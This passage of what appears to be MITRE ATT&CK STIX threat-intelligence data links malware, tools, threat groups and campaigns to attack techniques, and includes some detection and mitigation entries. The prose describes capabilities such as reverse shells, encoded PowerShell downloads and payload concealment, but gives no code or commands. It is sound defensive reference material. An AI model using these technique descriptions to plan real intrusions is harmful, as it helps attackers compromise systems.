2022","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Heyoka Backdoor](https://attack.mitre.org/software/S1027) has been spread through malicious document lures.(Citation: SentinelOne Aoqin Dragon June 2022)","modified":"2022-07-25T18:20:36.684Z","relationship_type":"uses","source_ref":"malware--dff90475-9f72-41a6-84ed-1fbefd3874c0","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f56f953d-7df2-4eee-93b6-f2c8377153bb","type":"relationship","created":"2020-07-23T16:24:07.813Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ForSSHe December 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf","description":"Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}],"modified":"2020-07-23T16:24:07.813Z","description":"[Bonadan](https://attack.mitre.org/software/S0486) can create bind and reverse shells on the infected system.(Citation: ESET ForSSHe December 2018)\t","relationship_type":"uses","source_ref":"malware--4c6d62c2-89f5-4159-8fab-0190b1f9d328","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f570bb28-5658-4831-ba9c-3e437b496f01","created":"2022-08-22T20:47:49.395Z","x_mitre_version":"0.1","external_references":[{"source_name":"Huntress API Hash","url":"https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection","description":"Brennan, M. (2022, February 16). Hackers No Hashing: Randomizing API Hashes to Evade Cobalt Strike Shellcode Detection. Retrieved August 22, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor and analyze calls to functions such as `GetProcAddress()` and `LoadLibrary()` that are associated with dynamically loading API functions.(Citation: Huntress API Hash)","modified":"2022-08-23T15:23:09.321Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--ea4c2f9c-9df1-477c-8c42-6da1118f2ac4","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f5726b93-09c6-4130-8e87-5916338b438e","created":"2024-03-15T19:37:56.826Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Security Mispadu Facebook Ads 2019","description":"ESET Security. (2019, November 19). Mispadu: Advertisement for a discounted Unhappy Meal. Retrieved March 13, 2024.","url":"https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/"},{"source_name":"SCILabs Malteiro 2021","description":"SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.","url":"https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-02T17:38:57.901Z","description":"[Mispadu](https://attack.mitre.org/software/S1122)’s dropper uses VBS files to install payloads and perform execution.(Citation: SCILabs Malteiro 2021)(Citation: ESET Security Mispadu Facebook Ads 2019)","relationship_type":"uses","source_ref":"malware--4e6464d2-69df-4e56-8d4c-1973f84d7b80","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f5777849-9cea-4e02-93ba-9065b27f0e58","type":"relationship","created":"2020-06-10T17:43:03.538Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.187Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used steganography in multiple operations to conceal malicious payloads.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f57dc789-e35e-4336-8935-9e1b7eca0324","created":"2022-01-18T18:15:50.973Z","x_mitre_version":"1.0","external_references":[{"source_name":"CrowdStrike AQUATIC PANDA December 2021","url":"https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/","description":"Wiley, B. et al. (2021, December 29). OverWatch Exposes AQUATIC PANDA in Possession of Log4Shell Exploit Tools During Hands-on Intrusion Attempt. Retrieved January 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) has downloaded additional scripts and executed Base64 encoded commands in PowerShell.(Citation: CrowdStrike AQUATIC PANDA December 2021)","modified":"2022-04-15T15:24:47.581Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f57f7e65-0017-45a2-9abd-db439a64ad45","type":"relationship","created":"2020-03-11T14:17:21.292Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project","description":"OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved April 3, 2018.","source_name":"OWASP Top 10"}],"modified":"2020-07-14T22:22:06.510Z","description":"Continuous monitoring of vulnerability sources and the use of automatic and manual code review tools should also be implemented as well.(Citation: OWASP Top 10)","relationship_type":"mitigates","source_ref":"course-of-action--15437c6d-b998-4a36-be41-4ace3d54d266","target_ref":"attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f583ac96-aee9-4a06-ba38-b370a615fe2d","type":"relationship","created":"2022-03-30T14:26:51.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.860Z","description":"Monitor newly executed processes that may abuse Microsoft Outlook forms to obtain persistence on a compromised system.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f58a02ed-055f-461f-bfdf-067f07310423","type":"relationship","created":"2020-08-13T16:51:23.549Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Hancitor","url":"https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html","description":"Anubhav, A., Jallepalli, D. (2016, September 23). Hancitor (AKA Chanitor) observed using multiple attack approaches. Retrieved August 13, 2020."}],"modified":"2020-10-16T00:41:06.761Z","description":"[Hancitor](https://attack.mitre.org/software/S0499) has deleted files using the VBA kill function.(Citation: FireEye Hancitor)","relationship_type":"uses","source_ref":"malware--ef2247bf-8062-404b-894f-d65d00564817","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f590ef19-3b83-459d-993c-a599407b7ca0","type":"relationship","created":"2019-01-30T13:24:09.054Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.","url":"https://securelist.com/octopus-infested-seas-of-central-asia/88200/","source_name":"Securelist Octopus Oct 2018"},{"source_name":"Security Affairs DustSquad Oct 2018","url":"https://securityaffairs.co/wordpress/77165/apt/russia-linked-apt-dustsquad.html","description":"Paganini, P. (2018, October 16). Russia-linked APT group DustSquad targets diplomatic entities in Central Asia. Retrieved August 24, 2021."},{"source_name":"ESET Nomadic Octopus 2018","url":"https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf","description":"Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021."}],"modified":"2021-10-14T14:09:00.668Z","description":"[Octopus](https://attack.mitre.org/software/S0340) can capture screenshots of the victims’ machine.(Citation: Securelist Octopus Oct 2018)(Citation: Security Affairs DustSquad Oct 2018)(Citation: ESET Nomadic Octopus 2018)","relationship_type":"uses","source_ref":"malware--e2031fd5-02c2-43d4-85e2-b64f474530c2","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f5936bbd-f8cb-404a-bd43-87f7bc836294","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist BlackEnergy Nov 2014","description":"Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.","url":"https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"}],"modified":"2019-06-24T17:08:51.718Z","description":"[BlackEnergy](https://attack.mitre.org/software/S0089) has the capability to communicate over a backup channel via plus.google.com.(Citation: Securelist BlackEnergy Nov 2014)","relationship_type":"uses","source_ref":"malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f5985c00-3f5c-4fcc-b29d-d395db4d02cc","type":"relationship","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.850Z","description":"Monitor for newly constructed files that may attempt to hide artifacts associated with their behaviors to evade detection.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f5a175ba-ed26-44f8-9828-c2aa0e1f7d86","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf","description":"F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.","source_name":"F-Secure BlackEnergy 2014"}],"modified":"2020-06-02T16:14:00.463Z","description":"[BlackEnergy](https://attack.mitre.org/software/S0089) communicates with its C2 server over HTTP.(Citation: F-Secure BlackEnergy 2014)","relationship_type":"uses","source_ref":"malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f5a39799-22d3-42e6-b524-bd93744b0149","type":"relationship","created":"2020-08-13T18:21:08.572Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks MCMD July 2019","url":"https://www.secureworks.com/research/mcmd-malware-analysis","description":"Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020."}],"modified":"2020-08-13T18:21:08.572Z","description":"[MCMD](https://attack.mitre.org/software/S0500) can use Registry Run Keys for persistence.(Citation: Secureworks MCMD July 2019)","relationship_type":"uses","source_ref":"tool--975737f1-b10d-476f-8bda-3ec26ea57172","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f5acb12e-6d83-4628-9b1d-61f277a699b2","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sofacy Komplex Trojan","description":"Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.","url":"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"}],"modified":"2020-01-17T19:50:01.373Z","description":"The [Komplex](https://attack.mitre.org/software/S0162) payload is stored in a hidden directory at /Users/Shared/.local/kextd.(Citation: Sofacy Komplex Trojan)","relationship_type":"uses","source_ref":"malware--f108215f-3487-489d-be8b-80e346d32518","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f5b14e1c-a5d6-45fb-b329-793e0a2b7ca4","created":"2024-03-21T21:13:51.329Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T22:43:44.684Z","description":"When using an MDM, ensure the permissions granted are specific to the requirements of the binary. Full Disk Access should be restricted to only necessary binaries in alignment with policy. ","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--e8a0a025-3601-4755-abfb-8d08283329fb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f5b60c41-242e-44c2-92c1-1f010e4471ad","created":"2024-09-16T08:40:07.614Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T08:40:07.614Z","description":"[DUSTTRAP](https://attack.mitre.org/software/S1159) is used by [APT41](https://attack.mitre.org/groups/G0096).(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"malware--33139388-de0c-49ff-862a-041c315b142d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f5bbb96e-40b9-4a8c-a53d-bcd843daeac2","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"fsecure NanHaiShu July 2016","description":"F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.","url":"https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf"}],"modified":"2020-03-17T01:53:17.494Z","description":"[NanHaiShu](https://attack.mitre.org/software/S0228) collects the username from the victim.(Citation: fsecure NanHaiShu July 2016)","relationship_type":"uses","source_ref":"malware--705f0783-5f7d-4491-b6b7-9628e6e006d2","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f5bd27f6-6657-46fa-91be-271c85050988","created":"2022-04-19T13:37:51.211Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor 2FA/MFA application logs for suspicious events such as rapid login attempts with valid credentials.","modified":"2022-04-19T13:50:22.953Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--954a1639-f2d6-407d-aef3-4917622ca493","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f5c05a9e-955d-459d-a761-228ec3803394","type":"relationship","created":"2021-11-24T21:42:01.289Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"modified":"2021-11-24T21:42:01.289Z","description":"[Koadic](https://attack.mitre.org/software/S0250) has used scheduled tasks to add persistence.(Citation: MalwareBytes LazyScripter Feb 2021) ","relationship_type":"uses","source_ref":"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f5c80a6c-8bbe-449d-80fb-8c5d7035d25d","created":"2023-03-17T15:31:03.659Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"},{"source_name":"McAfee Lazarus Jul 2020","description":"Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27"},{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T14:50:13.925Z","description":"For [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) compromised servers to host their malicious tools.(Citation: ClearSky Lazarus Aug 2020)(Citation: ESET Lazarus Jun 2020)(Citation: McAfee Lazarus Jul 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f5c854b7-6c1e-48bd-b8fd-c8fbebf4e326","created":"2023-03-26T15:01:57.627Z","revoked":false,"external_references":[{"source_name":"Volexity SolarWinds","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"},{"source_name":"CrowdStrike StellarParticle January 2022","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"},{"source_name":"Microsoft Deep Dive Solorigate January 2021","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T15:01:57.627Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used 7-Zip to compress stolen emails into password-protected archives prior to exfltration; [APT29](https://attack.mitre.org/groups/G0016) also compressed text files into zipped archives.(Citation: Volexity SolarWinds)(Citation: Microsoft Deep Dive Solorigate January 2021)(Citation: CrowdStrike StellarParticle January 2022)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f5cc5037-067a-4e29-90c4-775152d76a8f","created":"2022-02-02T13:03:25.614Z","x_mitre_version":"1.0","external_references":[{"source_name":"McAfee Lazarus Nov 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/","description":"Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. Retrieved December 20, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Torisma](https://attack.mitre.org/software/S0678) can collect the local MAC address using `GetAdaptersInfo` as well as the system's IP address.(Citation: McAfee Lazarus Nov 2020)","modified":"2022-04-13T20:21:52.383Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--0715560d-4299-4e84-9e20-6e80ab57e4f2","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f5cd03ce-93e0-4458-ba90-ca3926bb41b9","type":"relationship","created":"2019-02-21T21:12:55.696Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT39 Jan 2019","url":"https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html","description":"Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."},{"source_name":"FBI FLASH APT39 September 2020","url":"https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf","description":"FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."}],"modified":"2021-10-12T23:00:49.435Z","description":"[APT39](https://attack.mitre.org/groups/G0087) leveraged spearphishing emails with malicious links to initially compromise victims.(Citation: FireEye APT39 Jan 2019)(Citation: FBI FLASH APT39 September 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f5ce003c-c220-4c19-a45f-b2e2a6e924e2","created":"2023-07-27T20:41:30.250Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-02T17:18:39.848Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has masqueraded WAR files to look like legitimate packages such as, wsexample.war, wsexamples.com, examples.war, and exampl3s.war.(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f5ced467-529f-4ce2-9f30-6a4a80565e87","type":"relationship","created":"2020-05-15T13:41:30.707Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-15T13:41:30.707Z","description":"[ShimRatReporter](https://attack.mitre.org/software/S0445) used several Windows API functions to gather information from the infected system.(Citation: FOX-IT May 2016 